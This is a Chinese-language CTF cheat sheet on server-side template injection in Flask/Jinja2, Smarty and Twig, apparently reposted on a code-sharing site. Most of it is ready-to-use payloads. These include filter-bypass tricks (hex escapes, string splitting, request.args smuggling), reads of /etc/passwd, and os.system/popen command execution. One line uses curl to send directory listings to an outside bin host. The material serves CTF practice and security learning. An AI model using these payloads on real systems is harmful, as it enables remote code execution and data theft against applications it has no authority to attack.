CTF SSTI(服務器模板注入)


基本判斷

渲染模板

flask/jinja

flask SSTI的基本思路就是利用python中的魔術方法找到自己要用的函數

__dict__ 保存類實例或對象實例的屬性變量鍵值對字典
__class__  返回類型所屬的對象
__mro__    返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__bases__   返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的

__subclasses__   每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__  類的初始化方法
__globals__  對包含函數全局變量的字典的引用

一些姿勢

淺析SSTI(python沙盒繞過)

1、config

{{config}}可以獲取當前設置,如果題目類似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接訪問{{config['FLAG']}}或者{{config.FLAG}}得到flag

2、self

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同樣可以找到config

3、""[]()等數據結構

主要目的是配合__class__.__mro__[2]這樣找到object
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

4、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

如果config,self不能使用,要獲取配置信息,就必須從它的上部全局變量(訪問配置current_app等)。

例如:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

常用繞過

Jinja2模板注入過濾器繞過
SSTI Flask 技巧進階

以下表示法可用於訪問對象的屬性:

  • request.__class__
  • request["__class__"]
  • request|attr("__class__")

可以使用以下方法訪問數組元素:

  • array[0]
  • array.pop(0)
  • array.__getitem__(2)

(1)過濾[].

只過濾[]

pop() 函數用於移除列表中的一個元素(默認最后一個元素),並且返回該元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
.也被過濾,使用原生JinJa2函數|attr()
request.__class__改成request|attr("__class__")

(2)過濾_

利用request.args屬性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
將其中的request.args改為request.values則利用post的方式進行傳參

(3)關鍵字過濾

  • base64編碼繞過
    __getattribute__使用實例訪問屬性時,調用該方法

例如被過濾掉__class__關鍵詞
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

  • 字符串拼接繞過
    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
    {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

(4)過濾{{

使用{% if ... %}1{% endif %},例如

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}

如果不能執行命令,讀取文件可以利用盲注的方法逐位將內容爆出來

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

(5)引號內十六進制繞過

{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}

_\x5f.\x2E

payload

python2

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

python3

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

不用找類
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

Smarty

以下內容出自Smarty SSTI

1、{php}{/php}

Smarty已經廢棄{php}標簽,強烈建議不要使用。在Smarty 3.1,{php}僅在SmartyBC中可用

2、{literal}

{literal}可以讓一個模板區域的字符原樣輸出。這經常用於保護頁面上的Javascript或css樣式表,避免因為Smarty的定界符而錯被解析。

那么對於php5的環境我們就可以使用

<script language="php">phpinfo();</script>

3、{if}

Smarty的{if}條件判斷和PHP的if 非常相似,只是增加了一些特性。每個{if}必須有一個配對的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP條件表達式和函數都可以在if內使用,如||,or,&&,and,is_array(), 等等

{if phpinfo()}{/if}

4、getStreamVariable

新版本失效
{self::getStreamVariable("file:///etc/passwd")}

twig

文件讀取

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

rce

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

參考鏈接

flask/jinja2 SSTI入門
SSTI注入繞過(沙盒逃逸原理一樣)
探索Flask/Jinja2中的服務端模版注入(一)
探索Flask/Jinja2中的服務端模版注入(二)
從零學習flask模板注入
Server-Side Template Injection


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM